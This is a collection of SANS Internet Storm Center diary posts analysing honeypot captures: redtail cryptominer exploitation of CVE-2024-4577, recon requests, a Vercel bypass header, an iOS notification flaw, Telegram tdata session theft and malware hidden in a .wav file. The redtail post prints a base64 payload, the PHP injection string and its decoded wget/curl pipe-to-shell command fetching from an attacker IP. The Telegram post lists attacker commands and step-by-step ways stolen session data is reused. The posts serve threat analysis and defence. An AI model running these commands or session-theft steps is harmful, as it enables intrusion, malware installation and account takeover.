[This is a Guest Diary by James Roberts, an ISC intern as part of the SANS.edu BACS program]

Over the last few months, I have gained valuable experience working with the Internet Storm Center (ISC) operating a honeypot and analyzing its output via a SIEM environment.  This work gave me hands on experience with system set on a Raspberry Pi environment, utilizing command line interfaces, SIEM deployment, networking, and information analysis.  This experience was also a good demonstration of difficulty of finding useful information in a sea of logged data and how to find interesting items within it.  Some of the most interesting items were indicators relating to cryptomining malware.

DShield Honeypot

The DShield sensor is a honeypot system that information from HTTP, telnet, SSH, and firewall logs.  When deployed, it uses a Cowrie honeypot to simulate a Debian system to capture SSH and Telnet interactions, web.py and tcp-honeypot.py to simulate various services and obtain HTTP and TCP interactions, and finally scripts to collect, process and submit these and firewall logs.  These logs are sent to ISC, as well as an ELK SIEM that is set up on another system of mine.  With the SIEM, I was better able to parse, research, and understand the information produced by the various DShield logs.  Sometimes I would see something more interesting than just a standard SSH login attempt

Identifying Something Interesting

Around the halfway point in my internship, I did an attack observation about a type of cryptomining malware known as redtail.  After completing that observation, I noticed that there was another, different, variety of redtail based attacks I had previously not noticed, this time operating via HTTP instead of SSH/telnet.

As the most commonly occurring User Agent, and one of the most common items of HTTP information over the entire course of my DShield sensor’s deployment, I felt compelled to investigate further.

Overview of the Culprits

While I had 113 different IP addresses perform libertail-http activity on the DShield sensor, I am opting to focus my observation on the top three IP addresses for the sake of simplicity.

All three of these IP addresses attempted to perform the same attack multiple times over the course of several days.  The IP addresses came from different counties, Germany, Great Britain, and India.  All the observed libertail-http Ip addresses had similar general HTTP behavior, though there are some exceptions.  Most of the IP addresses observed additionally attempted to log in to the honeypot via SSH, as well as performing a SYN scan.

IP addresses 82.165.66.87 and 103.40.61.98 are almost identical in their behavior, even both exclusively using the same Username/Password login combination (admin/admin).  It is likely all the attackers are actually bots, but these two are likely using the same script to perform the same probing activity.  Based on other information that will be seen later, they might actually be the same attacker using different IP addresses.  Their behaviors are also more representative of the behavior observed by other attackers.  IP address 2.27.53.96 is much more aggressive in its attempt to log in with SSH and is less aggressive about the number of ports it scans.  Much of its activity is still similar to the other observed IP addresses, but it is unique in some ways.

Patterns of Behavior

Each of the attacks begins with a series of four HTTP POST actions.

From IP 103.10.61.98 on March 27 0623UTC

http.request.body            http.response.body.content                      url.query

The first two POST actions are effectively the same, with the only difference being that the first one uses URL encoding to traverse to /bin/sh while the second one doesn’t.  This directory traversal is attempting to look for CGI misconfigurations and allow the use of /bin/sh for command execution.  Additionally there is an attempt to connect to 31.57.216.121/sh through wget and curl.  On March 3, similar behaviors were logged for 178.16.55.224/sh instead.  IP address 82.165.66.87 also attempts to connect to both of these address as well and IP 2.27.53.96 additionally used 46.151.182.82.  After connecting via SH to an address, apache.selfrep is run.  Based on the name, apache.selfrep is likely a script designed to maintain persistence on a target.  IPs 31.57.216.121, 178.16.55.224, and 46.151.182.82 are known malicious IP addresses associated with cyrptomining malware infrastructure.  The url.query is the request.body information in its more original state, which is in base64.  The base64 encoding was likely done to obfuscate the attack or to more reliably deliver the attack against a wider variety of system or both.

The next two POST actions related directly to CVE-2024-4577, an exploit strongly associated with redtail malware that targets PHP services.  The request body line ”: d+allow_url_include=1+ d+auto_prepend_file=php://input” takes advantage of older PHP versions  flaw of replacing certain characters given into something else using a “Best-Fit” behavior that misinterprets characters as PHP options and allows running arbitrary PHP code.  In this case, that arbitrary code is being used to the inclusion of extra input from the HTTP request body.  That request body input accesses shell.exe and sends a base64 encoded set of commands 
“KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMzEuNTcuMjE2LjEyMS9zaCB8fCBjdXJsIC1zayBodHRwczovLzMxLjU3LjIxNi4xMjEvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw”.  This can be decoded into (wget –no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s cve_2024_4577.selfrep). This is very similar commands found in the previous POST commands, running cve_2024_4577.selfrep as a different script.  Additionally, echo(md5("Hello CVE-2024-4577") is also run to print a message to indicate the previous commands have run correctly.  Like the other POST actions, the original query was encoded in base64.

Next the attack begins probing various .php installation paths.  The paths are requested, with “<?php echo(md5("Hello PHPUnit"));” created as a response if the requested path is found.  This reconnaissance is likely being done to map out what specific type of PHP is available and by extension what other vulnerabilities could be utilized in the future.

From IP 82.165.66.87 on March 27 12:55 UTC

http.request.body.content                                             http.response.body.content

In addition to the HTTP interactions, the IP addresses also attempt to interact with the honeypot by logging on via SSH and engaging in SYN scans on various ephemeral ports.  If a SSH login is successful, there are no attempts to run other commands.  The logins and port scans typically hours before or after the HTTP actions and are likely the bot engaging in those probing actions independently from anything related in HTTP.  The SYN scans consistently produced failures for the scanned ports.

From IP 2.27.53.96

Timestamp                               Source IP                                        Source port/outcome

Redtail Cryptomining Malware

While the attack engaged in several actions, perhaps the most important was running cve_2024_4577.selfrep.  That script is performs several actions, such as finding out about system architecture, finding directories to write new files, searching cronjobs relating to other cryptominers and stopping their services, and installing an appropriate version of redtail and naming it ‘.redtail’ to make it a hidden file.  The versions of redtail are x86_64, i686, aarch64, and arm7.  While redtail cryptominers have been part of the threat landscape since 2023, libredtail-http and CVE-2024-4577 started appearing later in mid 2024.

How to Protect against Redtail

Protection and remediation, why it matters

There are many things that can be done to protect against this type of attack.  If possible, patching to a more current version on PHP can help.  Writing a rule to block the libredtail-http user-agent on a WAF, reverse proxy, IPS, host firewall, or a tool like Fail2Ban could block the types of attacks seen here.  Rules could probably also be made to block traffic involving IP any variation of ip.ip.ip.ip/sh, something seen and these attacks and rarely ever seen in legitimate traffic.  Given the volume of http traffic created, monitoring the network activity for unusual behavior could help discover a compromise.  Setting up SSH shared keys or authentication against another server could help protect a system against unwanted SSH login attempts.

[1] https://isc.sans.edu/honeypot.html
[2] https://github.com/cowrie/cowrie
[3] https://infosecwriteups.com/honeypots-102-setting-up-a-sans-internet-storm-centers-dshield-honeypot-1ec1774bd949
[4] https://github.com/bruneaug/DShield-SIEM/blob/main/README.md
[5] https://192.168.80.139/app/dashboards#/view/d525c518-3e97-4375-9e38-ded8f18934a4?_g=(filters:!(),time:(from:now-90d%2Fd,to:now))
[6] https://www.joesandbox.com/analysis/1851676/0/html
[7] https://www.joesandbox.com/analysis/1890665/0/html
[8] https://www.joesandbox.com/analysis/1893948/0/html
[9] https://www.socdefenders.ai/threats/b91c3aa2-d17d-4621-8f76-99e3226bdecb
[10] https://nvd.nist.gov/vuln/detail/CVE-2024-4577
[11] https://www.forescout.com/blog/new-redtail-malware-exploited-via-php-security-vulnerability/
[12] https://roccosicilia.com/2025/07/15/cve-2024-4577-payload-analysis/
[13] https://www.sans.edu/cyber-security-programs/bachelors-degree/

———–
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Today, two different "new" requests hit our honeypots. Both appear to be recon requests and not associated with specific vulnerabilities. But as always, please let me know if you have additional information

1 – Broadcom API Gateway

GET /bam/restart/if/required
Host: [redacted]:8080
Connection: close

This request is targeting a Broadcom API Gateway endpoint. As is, the request should not cause any problems, but the response may indicate if a Broadcom API Gateway is used, and it could lead to follow-up attacks.

2 – ESP32

GET /esps/
host: [redcated]:8080
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
connection: close
accept: */*
accept-language: en
accept-encoding: gzip

The path "/esps/" is associated with ESP32 devices. The ESP32 platform is a low-cost system-on-a-chip (SOC) device that is frequently used in IoT devices or even in various home automation projects. The URL '/esps/' may be associated with uploading firmware, but I have not yet seen any follow-up attacks.

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This weekend, we saw a few requests to our honeypot that included an "X-Vercel-Set-Bypass-Cookie" header. A sample request:

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/ *;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
Pragma: no-cache
Connection: keep-alive
X-Vercel-Set-Bypass-Cookie: samesite-none-secure
Upgrade-Insecure-Requests: 1
X-Forwarded-From: 21.235.92.139
X-Real-Iphone: 21.235.92.139
Referer: [redacted, same as "Host" header]
Host: [redacted]

Vercel documents the "x-vercel-protection-bypass" header(note: no "Cookie" part) as a secret that can be configured to disable certain protections during testing. This type of bypass feature is common in various platforms. In particular, web application firewall features often need to be disabled to allow higher request rates during CI/CD pipeline operations. The value set in the header is a user-configurable secret[1].

The X-Vercel-Set-Bypass-Cookie allows testing in browsers and maintains the bypass by having the server set a cookie to indicate the bypass. There are two options according to Vercel's documentation:

1. True: enables the cookie
2. samesitenone: enables the cookie, and set the same-site property to none.

I did not see the "samesite-none-secure" documented by Vercel.

The most likely intention of the header is to relax security settings, maybe even steal secrets, should Vercel expose them in the cookie. I have not had a chance to test the request against a Vercel website. Any input as to the intent is welcome.

The request was also set via an open proxy, likely to protect the attacker's identity, but it failed due to the configured proxy headers.

[1] https://vercel.com/docs/deployment-protection/methods-to-bypass-deployment-protection/protection-bypass-automation 

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Apple yesterday released iOS/iPadOS 26.4.2 and iOS/iPadOS 18.7.8. This update fixes a single Notification Services vulnerability, CVE-2026-28950:

Impact: Notifications marked for deletion could be unexpectedly retained on the device

Description: A logging issue was addressed with improved data redaction.

Apple did not mark the vulnerability as exploited. However, recent news articles reported that the FBI used this vulnerability to extract Signal messages from a device seized in a criminal case. The suspect in the case used Signal to communicate. Signal is encrypted end-to-end and attempts not to store retrievable data on the device itself. However, Signal may display a notification on the screen whenever a new message is received. These notifications may include the sender's username and some of the message's content. Signal used Apple's Notification Services framework to generate these notifications, and iOS did not delete their contents even when they were marked for deletion. 

The use of OS libraries and APIs like that has caused problems before, as they may not be designed with the same threat model in mind as the one used to create secure messaging applications.

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

[This is a Guest Diary by L. Carty, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].]

Introduction

A few weeks ago, my honeypot logged an incident that changed how I think about modern attacks. A threat actor broke into my system using weak SSH credentials and immediately started running commands. What started as a routine resource-hijacking attempt was followed by credential harvesting targeting Telegram Desktop session data.

This incident isn't just another story about cryptocurrency mining malware. It's a window into how modern threat actors are evolving their tactics – chaining initial access with credential theft to enable persistent, multi-layered exploitation. The commands I observed tell a story of methodical reconnaissance, from checking for competing miners to hunting for Telegram's tdata directory.

In this post, I'll walk through what I found, explain why the tdata folder is so valuable to threat actors, and share practical ways to protect it and manage your sessions.

The Attack Chain: A Conceptual Overview

Before diving into the actual commands, let's establish what we're looking at. Modern attacks rarely consist of a single malicious action and instead follow a progression. Below is the attack chain and corresponding MITRE ATT&CK Techniques. [2]

1. Initial Access – Weak SSH credentials, phishing, or vulnerabilities /T1110/001/
2. Reconnaissance – System enumeration, identifying valuable targets /T1082/ /T1083/
3. Credential Harvesting – Extracting session tokens, passwords, or authentication data /T1555/ /T1005/
4. Account Takeover – Using stolen credentials for further access /T1078/
5. Exploitation – Social engineering, lateral movement, or monetization /T1041/

What made this particular attack notable was the explicit targeting of Telegram's local session data. Threat actors aren't just after CPU cycles anymore—they're after persistent access through compromised accounts that can be leveraged for ongoing exploitation.

The Evidence: Live from the Honeypot

The following commands were captured in the honeypot's SSH logs immediately after the threat actor gained access. They show the threat actor’s intent to map the system, check for competition, and locate the tdata directory.

Commands Captured

• /ip cloud print
• ifconfig
• uname -a cat /proc/cpuinfo #looks to have an issue with cloudflare
• ps | grep '[Mm]iner' ps -ef | grep '[Mm]iner'
• ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
• locate D877F783D5D3EF8Cs
• echo Hi | cat -n

A Command Timeline Visualization

[Initial SSH Access]
         |
_________V_________________________________________________________
| RECONNAISSANCE PHASE                                            |
| • /ip cloud print → MikroTik RouterOS status,configuration      |
| • ifconfig → Network interface enumeration                      |
| • uname -a → OS/kernel identification                           |
| • cat /proc/cpuinfo → Hardware capability assessment            |
___________________________________________________________________
         |
_________V_________________________________________________________
| MINER DETECTION                                                 |
| • ps | grep '[Mm]iner' → Check for competing miners             |
| • ps -ef | grep... → Full process list scan                     |
__________________________________________________________________
         |
_________V_________________________________________________________
| CREDENTIAL HARVESTING                                           |
| • ls -la .../tdata → Locate Telegram session directory          |
| • /home/*/... → Wildcard search for user accounts               |
| • /dev/ttyGSM*, etc. → Modem/SMS 2FA bypass attempts            |
___________________________________________________________________
         |
_________V_________________________________________________________
| EXFILTRATION PREPARATION                                        |
| • locate D877F783... → Specific tdata folder lookup             |
| • echo Hi | cat -n → Shell verification                         |
| • [Compress & upload] → Likely next step (not captured)         |
__________________________________________________________________

Operational Context: Connecting the Dots

While the timeline shows what happened, understanding the why requires looking at the attack from a strategic view. Each command serves a specific purpose in a larger plan.

The initial reconnaissance (ifconfig, uname -a) was an attempt to confirm the system had the processing power to support a cryptominer and the network connectivity to send data out. Next came the miner detection phase (ps | grep). If the threat actor found an existing miner, they would need to remove those processes to free up resources and avoid conflicts before installing their own.

The next set of commands gets interesting as the threat actor shifts focus to Telegram Desktop tdata. This move reveals that stealing CPU cycles is a short-term gain, whereas stealing the Telegram session is a long-term asset. The threat actor searched for modem devices and SMS logs to get around the victim's two-factor authentication (2FA). This ensured that even if the stolen session stopped working, the threat actor could still reset the account password via SMS to take full control. This shows a clear shift from just using someone's computer for a quick profit to stealing their digital identity for long-term use.

Deep Dive: The Critical Risk of tdata Exposure

Understanding why the tdata folder is so valuable is essential for defense. This directory contains the session data that authenticates the user to Telegram's servers.

The Mechanics of Session Theft

According to an Imperva Threat Research report from 2025 regarding the sale of Telegram identities [3], copying the tdata folder to another machine grants a threat actor full access to the victim's Telegram account without needing the phone number or two-factor authentication code.

The session information stored in tdata acts as persistent login credentials. Because the authentication tokens are self-contained within the folder, the threat actor doesn't need to re-authenticate or bypass 2FA. They simply need to move the folder to a machine where they can run Telegram.

This flexibility is what makes the attack so dangerous. The threat actor does not need a specific version of the software, such as ‘Telegram Portable.’ Any standard Telegram Desktop client works because:

• Same Authentication Method: All Telegram Desktop clients (standard or portable) use the identical tdata folder structure, and
• No Installation Required: The session information is self-contained. A threat actor can copy the folder to a fresh installation of Telegram on their own machine, and it will log in immediately.

Below are scenarios on how a threat actor may use stolen tdata:

Scenario 1: Direct Import

1. Threat actor copies the tdata folder from the victim's system.
2. Threat actor installs Telegram Desktop on their own computer.
3. Threat actor replaces their own tdata folder with the victim's copy.
4. When Telegram launches, it reads the stolen session tokens and logs in as the victim.

Scenario 2: Cloud Exfiltration

1. Threat actor compresses the tdata folder on the victim's system.
2. Threat actor uploads it to their own cloud storage or server.
3. Later, threat actor downloads it to their machine.
4. Threat actor places it in their Telegram Desktop directory.
5. Telegram authenticates using the stolen session tokens.

Scenario 3: Portable Client

1. Threat actor copies tdata to a USB drive or portable installation.
2. Threat actor can run Telegram Portable from anywhere without installation.
3. All session data travels with the portable folder.

Because the session appears as a legitimate login from a new device, it is often indistinguishable from normal user activity, making detection difficult without specific monitoring of the tdata directory.

What You Can Do: Protecting tdata and Managing Sessions

Here are the most effective steps to protect your system and your Telegram account.

Protect the tdata Folder

Implement File Integrity Monitoring by setting up alerts for any access to the tdata directory. If a process other than Telegram itself tries to read or copy files in that folder, you want to know immediately.

Harden SSH Access since many of these attacks begin with weak SSH credentials. The most effective fix is to disable password authentication and use SSH keys instead. If you must use passwords, make them long and unique.

Monitor for Reconnaissance Commands such as grep, '[Mm]iner', ls -la …/tdata, or searches for modem devices /dev/ttyGSM*, and treat them as critical alerts. These aren't normal user activities and usually indicate a threat actor is mapping your system.

Manage Your Sessions

Conduct Regular Session Audits by navigating to Telegram Settings > Privacy and Security > Active Sessions. If you see a device or location you don't recognize, terminate it immediately. This is your first line of defense if tdata is stolen.

Log Out of Unused Devices because every device you're logged into is a potential entry point. If you're not actively using Telegram on a laptop or tablet, log out. Fewer active sessions mean fewer targets for threat actors.

Consider Mobile Usage as these devices offer better session controls. Telegram on iOS and Android supports biometric authentication and makes it harder to exfiltrate session data via file copying. If you're concerned about tdata theft, use Telegram primarily on mobile.

Enable Two-Factor Authentication (2FA) even though tdata theft bypasses it. 2FA protects against standard account takeovers where the threat actor doesn't have your session token, and it could make it harder for the threat actor to reset the password after the session expires.

Network-Level Detection

Monitor for Telegram Bot API Traffic since threat actors often use the Telegram Bot API to send stolen data or receive commands. Research by SonicWall [4] has documented campaigns where phishing emails deliver HTML attachments that exfiltrate credentials directly to Telegram bots, highlighting the need to monitor for this traffic.

Block Known Malicious IPs as many of these attacks come from known command-and-control servers. Subscribe to threat intelligence feeds that track Telegram-based attack infrastructure and block those IPs at your firewall.

The Bigger Picture: Why Telegram Remains a Target

Despite Telegram banning millions of accounts, threat actors continue to migrate to the platform due to its infrastructure simplicity, encryption, and massive scale. The platform's marketplace ecosystem and resilience against take-downs make it an attractive venue for criminal activity. According to Beeble.com's analysis ‘The Great Telegram Purge: Why 43 Million Bans Couldn’t Break the Cybercrime Grip’ [5], Telegram has evolved from a messaging app into a comprehensive criminal infrastructure platform.

Silobreaker's research [6] further indicates that ransomware groups like BlackCat use Telegram for both data exfiltration and selling stolen credentials on public marketplaces, while Kaspersky [7] notes that Telegram has become a hub for crypto scams, generating millions in fraudulent revenue through fake support bots and investment channels.

Conclusion

The multi-layered attack captured in my honeypot reflects current priorities in the threat landscape. The combination of cryptojacking reconnaissance with Telegram credential harvesting demonstrates that threat actors are thinking beyond simple resource theft. They are building persistent access through account takeover to enable ongoing exploitation.

The key insight is that Telegram's features, while legitimate for many users, have been repurposed by threat actors for credential theft, C2 communication, and data exfiltration. Defenders must monitor not just for malware installation, but for the specific indicators of credential harvesting that enable account takeover and lateral movement through social channels.

By understanding the attack chain, recognizing the indicators, and implementing robust protections for the tdata folder and session management, we can better protect ourselves against these evolving threats.

Key Takeaways

• Telegram tdata is a high-value target: Session tokens in this folder allow threat actors to bypass 2FA and take over accounts instantly.
• Attack chains are evolving: Modern threats combine cryptojacking reconnaissance with credential harvesting for multi-layered exploitation.
• Monitor for specific indicators: File access to tdata, modem device enumeration, and 'miner' process searches are critical warning signs.
• Telegram Portable enables persistence: Threat actors can copy tdata to portable installations for seamless account takeover without detection.
• Defense requires multiple layers: SSH hardening, file integrity monitoring, and session auditing are all necessary to protect against this attack pattern.

Acknowledgments: This analysis was assisted by Lumo AI (Proton) [8] for content organization and structuring.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://attack.mitre.org/techniques/
[3] https://www.imperva.com/blog/telegram-identity-theft/
[4] https://www.sonicwall.com/blog/threat-actors-caught-using-telegram-bot-to-harvest-credentials
[5] https://beeble.com/en/blog/the-great-telegram-purge-why-43-million-bans-couldn-t-break-the-cybercrime-grip
[6] https://www.silobreaker.com/blog/cyber-threats/mapping-threat-actor-abuse-of-telegram-from-c2-to-hacktivism/
[7] https://www.kaspersky.com/blog/phishing-and-scam-in-telegram-2025/54090/
[8] https://lumo.proton.me

—
Jesse La Grew
Senior Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

There have been reports of threat actors using a .wav file as a vector for malware.

It's a proper .wav file, but they didn't use staganography. The .wav file will play, but you'll just hear noise:

That's because the TAs have just replaced the bytes that encode the sound with the BASE64 representation of their payload:

Thus I don't need a .wav parser to extract the encoded payload, I can just use my base64dump.py tool:

The BASE64-decoded payload is an XOR-encoded PE file. So I don't need to make a custom decoder, I can just perform a known-plaintext attack looking for the DOS header with my xor-kpa.py tool:

The XOR key was found. Thus we can easily dump the decoded PE file and see the MZ header at position 0x08 and a bit further down the DOS header we used in the known-plaintext-attack:

And my tool pecheck.py can extract an analyse the sample:

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.